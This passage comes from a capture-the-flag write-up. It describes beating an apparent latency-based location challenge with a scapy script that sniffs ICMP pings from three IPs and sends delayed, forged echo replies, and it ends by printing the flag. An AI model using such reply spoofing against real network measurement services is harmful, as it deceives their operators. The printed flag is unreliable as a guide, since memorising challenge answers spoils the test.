We tried to adjust the time.sleep parameter but the result was just too random to be useful. Another problem was that the sleeps accumulated over our replies because scapy queues the requests so we were accumulating requests too much and, after a while, were answering with more than one minute of delay.

So to fix these problems, we decided to modify the script to spawn threads for the replies, to avoid the accumulation of sleeps, so we could have big delay time (30 seconds or so) that would allow us to compensate the random network delay and finely tune the delays to reach exactly the appropriate locations. But we first modified the first script to make the delays totally random and launched it in background, just in case…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from scapy.all import *
import time, random

SRC = ["54.212.115.245", "54.232.216.98", "54.250.176.246"]

def callback(pkt):
        if pkt[IP].proto == 1 and pkt[IP].src in SRC:
                if pkt[IP].src in SRC:
                        time.sleep(random.randint(0,400)/1000.0)
                send(IP(dst=pkt[IP].src)/ICMP(type=0, id=0, seq=0)/Raw(load=pkt[Raw].load))

sniff(prn=callback, filter="(src host 54.212.115.245 or src host 54.232.216.98 or src host 54.250.176.246) and icmp", store=0)

And it worked, before we could finish the new script, the first one made us reach the three circles successfully, giving us the flag: ebCTF{9bd26cbffa30c0ea32c425df220f06b9}.